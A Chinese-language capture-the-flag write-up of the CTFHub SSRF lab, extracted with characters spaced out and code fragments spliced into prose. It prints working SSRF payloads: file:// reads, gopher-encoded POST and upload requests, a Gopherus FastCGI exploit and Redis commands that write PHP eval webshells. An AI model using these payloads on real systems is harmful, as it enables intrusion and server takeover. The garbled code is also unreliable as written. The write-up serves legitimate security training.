搜索

[16336] 2021-01-18_我在CTFHub学习SSRF

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-01-18_我在CTFHub学习SSRF 我 在 C T F H u b 学 习 S S R F W H O A M I   F r e e B u f   2 0 2 1 - 0 1 - 1 8 最 近 一 直 在 学 S S R F ， 正 好 在 C T F H u b 上 面 发 现 一 个 S S R F 的 技 能 树 靶 场 ， 感 觉 不 错 ， 就 做 了 做 。 该 靶 场 涵 盖 了 最 基 础 的 S S R F 利 用 到 S S R F 攻 击 内 网 应 用 再 到 S S R F 常 规 的 B y p a s s 思 路 ， 题 目 难 度 比 较 基 础 ， 对 小 白 十 分 友 好 。 什 么 是 什 么 是   S S R F S S R F   ( S e r v e r - S i d e   R e q u e s t   F o r g e r y ， 服 务 器 端 请 求 伪 造 )   是 一 种 由 攻 击 者 构 造 请 求 ， 由 服 务 端 发 起 请 求 的 安 全 漏 洞 ， 一 般 情 况 下 ， S S R F 攻 击 的 目 标 是 外 网 无 法 访 问 的 内 网 系 统 ， 也 正 因 为 请 求 是 由 服 务 端 发 起 的 ， 所 以 服 务 端 能 请 求 到 与 自 身 相 连 而 与 外 网 隔 绝 的 内 部 系 统 。 也 就 是 说 可 以 利 用 一 个 网 络 请 求 的 服 务 ， 当 作 跳 板 进 行 攻 击 。 攻 击 者 利 用 了 可 访 问 W e b 服 务 器 （ A ） 的 特 定 功 能   构 造 恶 意 p a y l o a d ； 攻 击 者 在 访 问 A 时 ， 利 用 A 的 特 定 功 能 构 造 特 殊 p a y l o a d ， 由 A 发 起 对 内 部 网 络 中 系 统 B （ 内 网 隔 离 ， 外 部 不 可 访 问 ） 的 请 求 ， 从 而 获 取 敏 感 信 息 。 此 时 此 时 A 被 作 为 中 间 人 （ 跳 板 ） 进 行 利 用 。 被 作 为 中 间 人 （ 跳 板 ） 进 行 利 用 。 S S R F 漏 洞 的 形 成 大 多 是 由 于 服 务 端 提 供 了 从 其 他 服 务 器 应 用 获 取 数 据 的 功 能 且 没 有 对 目 标 地 址 做 过 滤 和 限 制 。 例 如 ， 黑 客 操 作 服 务 端 从 指 定 U R L 地 址 获 取 网 页 文 本 内 容 ， 加 载 指 定 地 址 的 图 片 ， 下 载 等 ， 利 用 的 就 是 服 务 端 请 求 伪 造 ， S S R F 利 用 存 在 缺 陷 的 W E B 应 用 作 为 代 理   攻 击 远 程   和   本 地 的 服 务 器 。 漏 洞 攻 击 方 式 漏 洞 攻 击 方 式 1 .   对 外 网 ， 服 务 器 所 在 内 网 ， 本 地 进 行 端 口 扫 描 （ 挨 个 试 探 ） ， 获 取 一 些 服 务 的 b a n n e r 信 息 2 .   攻 击 运 行 在 内 网 或 本 地 的 应 用 程 序 3 .   对 内 网 W e b 应 用 进 行 指 纹 识 别 ， 识 别 企 业 内 部 的 资 产 信 息 ， 通 过 访 问 默 认 文 件 实 现 ( 如 ： r e a d m e 文 件 ) 4 .   攻 击 内 外 网 的 W e b 应 用 ， 主 要 是 使 用 H T T P   G E T 请 求 就 可 以 实 现 的 攻 击 ( 比 如 s t r u s t 2 , S Q l i 等 ) 5 .   下 载 内 网 资 源 ， 利 用 f i l e 协 议 读 取 本 地 文 件 或 资 源 等 6 .   内 部 任 意 主 机 的 任 意 端 口 发 送 精 心 构 造 的 P a y l o a d 7 .   D O S 攻 击 （ 请 求 大 文 件 ， 始 终 保 持 连 接 K e e p - A l i v e   A l w a y s ） 8 .   进 行 跳 板 9 .   利 用 R e d i s 未 授 权 访 问 ， H T T P   C R L F 注 入 实 现 g e t s h e l l 过 段 时 间 我 们 会 详 细 地 总 结 一 篇 关 于 S S R F 的 文 章 。 下 面 我 们 进 入 今 天 的 正 题 ， 该 S S R F 靶 场 共 有 三 部 分 ， 下 面 我 们 依 次 讲 解 。 第 一 部 分 （ 第 一 部 分 （ H t t p 、 、 D i c t 和 和 f i l e 等 协 议 的 利 用 ） 等 协 议 的 利 用 ） 内 网 访 问 内 网 访 问
题 目 描 述 ： 题 目 描 述 ： 尝 试 访 问 位 于 1 2 7 . 0 . 0 . 1 的 f l a g . p h p 吧 进 入 题 目 ： 看 到 这 样 的 u r l 下 意 识 想 到 s s r f ， 既 然 是 让 我 们 从 目 标 主 机 内 网 环 境 访 问 其 本 地 的 f l a g . p h p ， 那 我 们 就 构 造 ： 如 下 图 所 示 ， 成 功 访 问 到 了 目 标 机 本 地 的 f l a g . p h p ： 伪 协 议 读 取 文 件 伪 协 议 读 取 文 件 题 目 描 述 ： 题 目 描 述 ： 尝 试 去 读 取 一 下 W e b 目 录 下 的 f l a g . p h p 吧 此 时 ， 我 们 在 去 直 接 访 问 f l a g . p h p 是 得 不 到 f l a g 的 ： 既 然 是 伪 协 议 读 取 文 件 ， 在 S S R F 中 常 用 的 伪 协 议 就 是 f i l e : / / / 协 议 了 ， 其 在 s s r f 中 可 以 用 来 读 取 p h p 源 码 。 我 们 构 造 如 下 p a y l o a d ： 执 行 后 ， 我 们 在 右 键 查 看 源 代 码 处 发 现 了 f l a g ： 端 口 扫 描 端 口 扫 描 题 目 描 述 ： 题 目 描 述 ： 来 来 来 性 感 C T F H u b 在 线 扫 端 口 ， 据 说 端 口 范 围 是 8 0 0 0 - 9 0 0 0 哦 。 进 入 题 目 ， 还 是 同 样 的 页 面 ： 既 然 告 诉 了 我 们 是 内 网 端 口 扫 描 ， 那 我 们 就 要 利 用 s s r f 漏 洞 探 测 目 标 主 机 上 还 开 放 了 哪 些 端 口 。 在 S S R F 中 ， d i c t 协 议 与 h t t p 协 议 可 用 来 探 测 内 网 的 主 机 存 活 与 端 口 开 放 情 况 。 这 里 的 端 口 扫 描 我 们 用 b u r p s u i t e 来 完 成 。 首 先 抓 包 ， 发 送 到 I n t r u d e r 进 行 爆 破 设 置 ： / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / f l a g . p h p
线 程 不 要 太 大 ： 开 始 爆 破 探 测 ：
如 上 图 ， 最 终 我 们 在 目 标 主 机 的 8 5 9 2 端 口 上 发 现 了 A p a c h e 的 w e b 服 务 ， 我 门 再 利 用 s s r f 加 h t t p 协 议 访 问 目 标 主 机 的 8 5 9 2 端 口 即 可 得 到 f l a g ： 第 二 部 分 （ 第 二 部 分 （ G o p h e r 协 议 的 利 用 ） 协 议 的 利 用 ） G o p h e r 协 议 是   H T T P   协 议 出 现 之 前 ， 在   I n t e r n e t   上 常 见 且 常 用 的 一 个 协 议 ， 不 过 现 在 g o p h e r 协 议 用 得 已 经 越 来 越 少 了 G o p h e r 协 议 可 以 说 是 S S R F 中 的 万 金 油 。 利 用 此 协 议 可 以 攻 击 内 网 的   R e d i s 、 M y s q l 、 F a s t C G I 、 F t p 等 等 ， 也 可 以 发 送   G E T 、 P O S T   请 求 。 这 无 疑 极 大 拓 宽 了   S S R F   的 攻 击 面 。 P O S T 请 求 请 求 题 目 描 述 ： 题 目 描 述 ： 这 次 是 发 一 个 H T T P   P O S T 请 求 。 对 了 ， s s r f 是 用 p h p 的 c u r l 实 现 的 。 并 且 会 跟 踪 3 0 2 跳 转 ， 我 准 备 了 一 个 3 0 2 . p h p ， 可 能 对 你 有 用 哦 。 进 入 题 目 ， 还 是 同 样 的 页 面 ： 我 们 进 行 目 录 扫 描 ， 发 现 了 i n d e x . p h p 和 f l a g . p h p （ 3 0 2 . p h p 被 删 了 ， 因 为 3 0 2 . p h p 里 面 是 个 3 0 2 跳 转 ， 多 余 了 没 有 必 要 ） ： 接 着 ， 我 们 将 i n d e x . p h p 和 f l a g . p h p 的 源 码 读 出 来 ： i n d e x . p h p ： f l a g . p h p ： 访 问 f l a g . p h p ， 告 诉 我 们 必 须 要 从 本 地 访 问 （ 由 于 是 S S R F ， 所 以 不 可 能 是 修 改 X X F 这 么 简 单 的 ） ， 我 们 构 造 如 下 s s r f   p a y l o a d 让 目 标 机 从 本 地 访 问 f l a g . p h p ： / ? u r l = f i l e : / / / v a r / w w w / h t m l / i n d e x . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / f l a g . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f   ( ! i s s e t ( $ _ R E Q U E S T [ ' u r l ' ] ) ) { h e a d e r ( " L o c a t i o n :   / ? u r l = _ " ) ; e x i t ; } $ c h   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ _ R E Q U E S T [ ' u r l ' ] ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f   ( $ _ S E R V E R [ " R E M O T E _ A D D R " ]   ! =   " 1 2 7 . 0 . 0 . 1 " )   { e c h o   " J u s t   V i e w   F r o m   1 2 7 . 0 . 0 . 1 " ; r e t u r n ; } $ f l a g = g e t e n v ( " C T F H U B " ) ; $ k e y   =   m d 5 ( $ f l a g ) ; i f   ( i s s e t ( $ _ P O S T [ " k e y " ] )   & &   $ _ P O S T [
得 到 如 下 一 个 输 入 框 ： 右 键 查 看 源 代 码 发 现 k e y ： 看 来 应 该 是 让 我 们 输 入 这 个 k e y 进 入 ， 从 而 得 到 f l a g ， 但 是 这 里 并 没 有 提 交 的 按 钮 啊 ， 所 以 我 们 要 自 己 构 造 p o s t 请 求 ， 将 这 个 k e y 发 送 过 去 。 然 后 ， 我 们 用 g o p h e r 协 议 构 造 p o s t 请 求 ： 注 意 ： 上 面 那 四 个 参 数 是 注 意 ： 上 面 那 四 个 参 数 是 P O S T 请 求 必 须 的 ， 即 请 求 必 须 的 ， 即 P O S T 、 、 H o s t 、 、 C o n t e n t - T y p e 和 和 C o n t e n t - L e n g t h 。 如 果 少 了 会 报 错 的 ， 而 。 如 果 少 了 会 报 错 的 ， 而 G E T 则 不 用 。 则 不 用 。 特 别 要 注 意 C o n t e n t - L e n g t h 应 为 字 符 串 “ k e y = c 3 8 4 d 2 0 0 6 5 8 f 2 5 8 e 5 b 5 c 6 8 1 b f 0 a a 2 9 a 8 ” 的 长 度 。 执 行 该 p y t h o n 脚 本 即 可 生 成 符 合 g o p h e r 协 议 格 式 的 p a y l o a d ： 然 后 直 接 把 p a y l o a d 发 送 过 去 ： 即 可 得 到 f l a g ， 但 这 里 题 目 环 境 好 像 出 了 点 问 题 ， f l a g 好 像 没 了 ： 上 传 文 件 上 传 文 件 题 目 描 述 ： 题 目 描 述 ： 这 次 需 要 上 传 一 个 文 件 到 f l a g . p h p 了 。 我 准 备 了 个 3 0 2 . p h p 可 能 会 有 用 。 祝 你 好 运 。 和 上 面 那 道 题 一 样 ， 这 个 3 0 2 . p h p 没 啥 用 。 进 入 题 目 ， 还 是 一 样 的 页 面 ： 首 先 进 行 目 录 扫 描 ， 发 现 f l a g . p h p ： h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p i m p o r t   u r l l i b . p a r s e p a y l o a d   = " " " P O S T   / f l a g . p h p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   3 6 k e y = c 3 8 4 d 2 0 0 6 5 8 f 2 5 8 e 5 b 5 c 6 8 1 b f 0 a a 2 9 a 8 " " " g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - T y p e % 2 5 3 A % 2 5 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 2 5 0 D % 2 5 0 A C o n t e n t - L e n g t h i n d e x . p h p / ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - T y p e % 2 5 3 A % 2 5 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 2 5 0
直 接 访 问 不 行 ， 必 须 通 过 目 标 机 本 地 访 问 ： 构 造 如 下 p a y l o a d 进 行 s s r f ， 从 目 标 机 本 地 访 问 f l a g . p h p ： 如 上 图 所 示 ， 得 到 一 个 文 件 上 传 的 页 面 ， 让 我 们 上 传 一 个 W e b s h e l l 。 这 题 和 上 一 题 “ P O S T 请 求 ” 其 实 差 不 多 ， 只 不 过 上 一 题 用 P O S T 方 法 传 递 k e y ， 这 道 题 用 P O S T 方 法 传 递 的 是 文 件 。 接 着 ， 我 们 将 i n d e x . p h p 和 f l a g . p h p 的 源 码 读 出 来 ： i n d e x . p h p ： f l a g . p h p ： 可 以 发 现 f l a g . p h p 确 实 是 个 文 件 上 传 的 页 面 ， 且 仅 要 求 上 传 的 文 件 大 小 大 于 0 即 可 得 到 f l a g ， 并 没 有 任 何 过 滤 。 接 下 来 我 们 尝 试 利 用 g o p h e r 协 议 上 传 文 件 。 首 先 就 是 要 得 到 文 件 上 传 的 数 据 包 ， 才 能 编 写 g o p h e r 的 p a y l o a d 。 因 此 我 们 对 这 个 文 件 上 传 的 f l a g . p h p 页 面 进 行 F 1 2 前 端 改 写 ， 添 加 一 个 s u b m i t 提 交 按 钮 （ 但 这 里 点 击 提 交 按 钮 是 得 不 到 f l a g 的 ， 必 须 从 目 标 机 本 地 访 问 哦 ） ： 这 样 就 添 加 了 一 个 提 交 按 钮 ， 就 可 以 真 正 的 把 文 件 上 传 了 ： / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / i n d e x . p h p / ? u r l = f i l e : / / / v a r / w w w / h t m l / f l a g . p h p < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f   ( ! i s s e t ( $ _ R E Q U E S T [ ' u r l ' ] ) )   { h e a d e r ( " L o c a t i o n :   / ? u r l = _ " ) ; e x i t ; } $ c h   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ _ R E Q U E S T [ ' u r l ' ] ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; i f ( $ _ S E R V E R [ " R E M O T E _ A D D R " ]   ! =   " 1 2 7 . 0 . 0 . 1 " ) { e c h o   " J u s t   V i e w   F r o m   1 2 7 . 0 . 0 . 1 " ; r e t u r n ; } i f ( i s s e t ( $ _ F I L E S [ " f i l e " ] )   & &   $ _ F I L E S [ " f i l e " ] [ " s i z e " ]   >   0 ) { e c h o   g e t e n v (
我 们 随 便 上 传 一 个 非 空 的 文 件 ， 然 后 抓 包 ， 得 到 如 下 图 所 示 的 一 个 数 据 包 ： 我 们 只 需 要 将 里 面 的 H o s t 头 改 成 1 2 7 . 0 . 0 . 1 ， 然 后 复 制 到 我 们 之 前 的 那 个 p y t h o n 脚 本 中 ： 执 行 该 p y t h o n 脚 本 即 可 生 成 符 合 g o p h e r 协 议 格 式 的 p a y l o a d ： 然 后 直 接 把 g o p h e r 协 议 的 p a y l o a d 发 送 过 去 ： 如 下 图 所 示 ， 得 到 f l a g ： F a s t C G I 协 议 协 议 题 目 描 述 ： 题 目 描 述 ： 这 次 ， 我 们 需 要 攻 击 一 下 f a s t c g i 协 议 咯 。 也 许 附 件 的 文 章 会 对 你 有 点 帮 助 。 进 入 题 目 ， 还 是 一 样 的 页 面 ： 目 录 扫 描 啥 也 没 有 。 既 然 题 目 说 了 是 F a s t C G I ， 应 该 是 让 我 们 利 用 S S R F 攻 击 F a s t C G I 。 F a s t C G I i m p o r t   u r l l i b . p a r s e p a y l o a d   = " " " P O S T   / f l a g . p h p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 C o n t e n t - L e n g t h :   3 2 8 C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 O r i g i n :   h t t p : / / c h a l l e n g e - 0 3 5 1 2 6 1 4 d 3 f a 8 3 3 0 . s a n d b o x . c t f h u b . c o m : 1 0 0 8 0 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y r a D V c M 1 y 9 j u G c B J u U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 9 8   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 R e f e r e r :   h t t p : / / c h a l l e n g e - 0 3 5 1 2 6 1 4 d 3 f a 8 3 3 0 . s a n d b o x . c t f h u b . c o m : 1 0 0 8 0 / ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 / f l a g . p h p A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y r a D V c M 1 y 9 j u G c B J u C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - L e n g t h % 2 5 3 A % 2 5 2 0 3 2 8 % 2 5 0 D % 2 5 0 A C a c h e - C o n t r o l % 2 5 3 A % 2 5 2 0 m a x - a g e % 2 5 3 D 0 i n d e x . p h p ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 8 0 / _ P O S T % 2 5 2 0 / f l a g . p h p % 2 5 2 0 H T T P / 1 . 1 % 2 5 0 D % 2 5 0 A H o s t % 2 5 3 A % 2 5 2 0 1 2 7 . 0 . 0 . 1 % 2 5 0 D % 2 5 0 A C o n t e n t - L e n g t h % 2 5 3 A % 2 5 2 0 3 2 8 % 2 5 0 D % 2 5 0 A C a c h e - C o n t r o l % 2 5 3 A % 2 5 2 0
W i k i p e d i a 对 F a s t C G I 的 解 释 ： 快 速 通 用 网 关 接 口 快 速 通 用 网 关 接 口 （ F a s t * * C o m m o n   G a t e w a y   I n t e r f a c e ／ ／ F a s t C G I ） 是 一 种 ） 是 一 种 让 交 互 程 序 与 W e b 服 务 器 通 信 的 协 议 * * 。 F a s t C G I 是 早 期 通 用 网 关 接 口 （ C G I ） 的 增 强 版 本 。 F a s t C G I 致 力 于 减 少 网 页 服 务 器 与 C G I 程 序 之 间 交 互 的 开 销 ， 从 而 使 服 务 器 可 以 同 时 处 理 更 多 的 网 页 请 求 。 p h p - f p m 官 方 对 p h p - f p m 的 解 释 是 F P M （ （ F a s t C G I   进 程 管 理 器 ） 用 于 替 换 进 程 管 理 器 ） 用 于 替 换   P H P   F a s t C G I   的 大 部 分 附 加 功 能 ， 对 于 高 负 载 网 站 是 非 常 有 用 的 。 的 大 部 分 附 加 功 能 ， 对 于 高 负 载 网 站 是 非 常 有 用 的 。 也 就 是 说 p h p - f p m 是 是 F a s t C G I 的 一 个 具 体 实 的 一 个 具 体 实 现 现 ， 其 默 认 监 听 9 0 0 0 端 口 。 p h p - f p m 攻 击 实 现 原 理 攻 击 实 现 原 理 想 要 分 析 它 的 攻 击 原 理 需 要 从 F a s t C G I 协 议 封 装 数 据 内 容 来 看 ， 这 里 仅 对 攻 击 原 理 做 简 要 描 述 ， C G I   和   F a s t C G I   协 议 的 运 行 原 理 这 篇 文 章 中 详 细 介 绍 了 F a s t C G I 协 议 的 内 容 ， 其 攻 击 原 理 就 是 在 设 置 环 境 变 量 实 际 请 求 中 会 出 现 一 个 这 样 的 键 值 对 ， 它 的 意 思 是 p h p - f p m 会 执 行 这 个 文 件 ， 但 是 这 样 即 使 能 够 控 制 这 个 键 值 对 的 值 ， 但 也 只 能 控 制 p h p - f p m 去 执 行 某 个 已 经 存 在 的 文 件 ， 不 能 够 实 现 一 些 恶 意 代 码 的 执 行 。 而 在 p h p 5 . 3 . 9 后 来 的 版 本 中 ， p h p 增 加 了 安 全 选 项 导 致 只 能 控 制 p h p - f p m 执 行 一 些 p h p 、 p h p 4 这 样 的 文 件 ， 这 也 增 大 了 攻 击 的 难 度 。 但 是 好 在 p h p 官 方 允 许 通 过 P H P _ A D M I N _ V A L U E 和 P H P _ V A L U E 去 动 态 修 改 p h p 的 设 置 。 那 么 当 设 置 p h p 环 境 变 量 为 ： 时 ， 就 会 在 执 行 p h p 脚 本 之 前 包 含 环 境 变 量 所 指 向 的 文 件 内 容 ， 也 就 是 接 收 P O S T 的 内 容 ， 这 个 我 们 可 以 在 F a s t C G I 协 议 的 b o d y 控 制 为 恶 意 代 码 ， 这 样 就 在 理 论 上 实 现 了 p h p - f p m 任 意 代 码 执 行 的 攻 击 。 详 情 请 看 ： h t t p s : / / b b s . i c h u n q i u . c o m / t h r e a d - 5 8 4 5 5 - 1 - 1 . h t m l 接 下 来 ， 我 们 使 用   G o p h e r u s 工 具 生 成 攻 击 F a s t C G I 的 p a y l o a d 。 利 用 条 件 ： l i b c u r l 版 本 > = 7 . 4 5 . 0 P H P - F P M 监 听 端 口 P H P - F P M 版 本   > =   5 . 3 . 3 知 道 服 务 器 上 任 意 一 个 p h p 文 件 的 绝 对 路 径 下 面 我 们 就 利 用 这 个 工 具 来 执 行 命 令 ， 网 w e b 目 录 里 面 写 W e b s h e l l ： 如 上 图 所 示 获 得 p a y l o a d ： 然 后 进 行 二 次 编 码 后 将 最 终 的 p a y l o a d 内 容 放 到 ? u r l = 后 面 发 送 过 去 （ 这 里 需 要 进 行 两 次 编 码 ， 因 为 这 里 G E T 会 进 行 一 次 解 码 ， c u r l 也 会 再 进 行 一 次 解 码 ） ： 最 后 ， 用 蚁 剑 连 接 w e b s h e l l 成 功 ： S C R I P T _ F I L E N A M E ' :   ' / v a r / w w w / h t m l / i n d e x . p h p a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t ; a l l o w _ u r l _ i n c l u d e   =   O n a u t o _ p r e p e n d _ f i l e p h p : / / i n p u t p y t h o n   g o p h e r u s . p y   - - e x p l o i t   f a s t c g i / v a r / w w w / h t m l / i n d e x . p h p                                   #   这 里 输 入 的 是 一 个 已 知 存 在 的 p h p 文 件 e c h o   P D 9 w a H A g Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 P z 4   |   b a s e 6 4   - d   >   / v a r / w w w / h t m l / s h e l l . p h p g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / _ % 0 1 % 0 1 % 0 0 % 0 1 % 0 0 % 0 8 % 0 0 % 0 0 % 0 0 % 0 1 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 1 % 0 4 % 0 0 % 0 1 % 0 1 % 0 5 % 0 5 % 0 0 % 0 F % 1 0 S E R V E R _ S O F T W A R E g o % 2 0 / % 2 0 f c g i c l i e n t % 2 0 % 0 B % 0 9 R E M O T E _ A D D R 1 2 7 . 0 . 0 . 1 % 0 F % 0 8 S E R V E R _ P R O T O C O L H T T P / 1 . 1 ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 9 0 0 0 / _ % 2 5 0 1 % 2 5 0 1 % 2 5 0 0 % 2 5 0 1 % 2 5 0 0 % 2 5 0 8 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 1 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 0 % 2 5 0 1 % 2 5 0 4 % 2 5 0 0 % 2 5 0 1 % 2 5 0 1 % 2 5 0 5 % 2 5 0 5 % 2 5 0 0 % 2 5 0 F % 2 5 1 0 S E R V E R _ S O F T W A R E g o % 2 5 2 0 / % 2 5 2 0 f c g i c l i e n t % 2 5 2 0 % 2 5 0 B % 2 5 0 9 R E M O T E _ A D D R 1 2 7 .
在 根 目 录 找 到 f l a g ： R e d i s 协 议 协 议 主 要 是 利 用 R e d i s 未 授 权 访 问 ， 实 现 像 目 标 主 机 写 入 W e b s h e l l 、 S S H 公 钥 ， 或 写 入 计 划 任 务 实 现 反 弹 s h e l l 。 R e d i s 是 一 个 k e y - v a l u e 存 储 系 统 。 R e d i s （ R e m o t e   D i c t i o n a r y   S e r v e r   ) ， 即 远 程 字 典 服 务 ， 是 一 个 开 源 的 使 用 A N S I   C 语 言 编 写 、 支 持 网 络 、 可 基 于 内 存 亦 可 持 久 化 的 日 志 型 、 K e y - V a l u e 数 据 库 ， 并 提 供 多 种 语 言 的 A P I 。 R e d i s   在 默 认 情 况 下 ， 会 绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 ， 如 果 没 有 进 行 采 用 相 关 的 策 略 ， 比 如 添 加 防 火 墙 规 则 避 免 其 他 非 信 任 来 源   i p   访 问 等 ， 这 样 将 会 将   R e d i s   服 务 暴 露 到 公 网 上 ， 如 果 在 没 有 设 置 密 码 认 证 （ 一 般 为 空 ） ， 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 授 权 访 问   R e d i s   以 及 读 取   R e d i s   的 数 据 。 攻 击 者 在 未 授 权 访 问   R e d i s   的 情 况 下 ， 利 用   R e d i s   自 身 的 提 供 的 c o n f i g   命 令 ， 可 以 进 行 写 文 件 操 作 ， 攻 击 者 可 以 成 功 将 自 己 的 s s h 公 钥 写 入 目 标 服 务 器 的   / r o o t / . s s h   文 件 夹 的   a u t h o t r i z e d _ k e y s   文 件 中 ， 进 而 可 以 使 用 对 应 私 钥 直 接 使 用 s s h 服 务 登 录 目 标 服 务 器 。 ， 也 可 以 直 接 写 入 W e b s h e l l 或 者 写 入 计 划 任 务 进 行 反 弹 s h e l l 。 题 目 描 述 ： 题 目 描 述 ： 这 次 来 攻 击 r e d i s 协 议 吧 ， r e d i s : / / 1 2 7 . 0 . 0 . 1 : 6 3 7 9 。 资 料 ？ 没 有 资 料 ！ 自 己 找 ！ 进 入 题 目 ， 还 是 那 个 页 面 ： 目 录 扫 描 啥 也 没 有 。 既 然 是 R e d i s ， 那 么 应 该 就 是 利 用 S S R F 对 目 标 主 机 上 的 R e d i s 进 行 未 授 权 访 问 攻 击 。 我 们 先 来 探 测 一 下 目 标 主 机 开 启 的 端 口 吧 ， 方 法 同 之 前 的 题 目 — — “ 端 口 扫 描 ” ：
如 上 图 所 示 ， 我 们 在 目 标 主 机 的 6 3 7 9 端 口 上 发 现 了 R e d i s 的 报 错 ， 说 明 目 标 主 机 上 确 实 运 行 着 R e d i s 服 务 ， 并 且 端 口 为 其 默 认 端 口 6 3 7 9 。 利 用 未 授 权 访 问 攻 击 R e d i s 的 方 法 有 很 多 ， 我 们 可 以 写 w e b s h e l l 、 反 弹 s h e l l ， 也 可 以 写 s s h 公 钥 ， 这 里 我 们 用 写 w e b s h e l l 的 方 法 。 构 造 r e d i s 命 令 我 们 利 用 如 下 E x p 脚 本 生 成 符 合 g o p h e r 协 议 格 式 的 p a y l o a d ： 执 行 后 生 成 如 下 p a y l o a d ： 我 们 直 接 把 该 p a y l a o d 用 G E T 方 法 发 送 过 去 ： 最 后 用 用 蚁 剑 连 接 W e b s h e l l ： 在 根 目 录 得 到 f l a g ： f l u s h a l l s e t   1   ' < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > ' c o n f i g   s e t   d i r   / v a r / w w w / h t m l c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s a v e i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 2 7 . 0 . 0 . 1 " p o r t = " 6 3 7 9 " s h e l l = " n n < ? p h p   e v a l ( $ _ P O S T [ " w h o a m i " ] ) ; ? > n n " f i l e n a m e = " s h e l l . p h p " p a t h = " / v a r / w w w / h t m l " p a s s w d = " " c m d = [ " f l u s h a l l " , " s e t   1   { } " g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 6 3 7 9 / _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 5 % 2 5 0 D % 2 5 0 A % 2 5 0 A % 2 5 0 i n d e x . p h p ? u r l = g o p h e r % 3 A / / 1 2 7 . 0 . 0 . 1 % 3 A 6 3 7 9 / _ % 2 5 2 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 8 % 2 5 0 D % 2 5 0 A f l u s h a l l % 2 5 0 D % 2 5 0 A % 2 5 2 A 3 % 2 5 0 D % 2 5 0 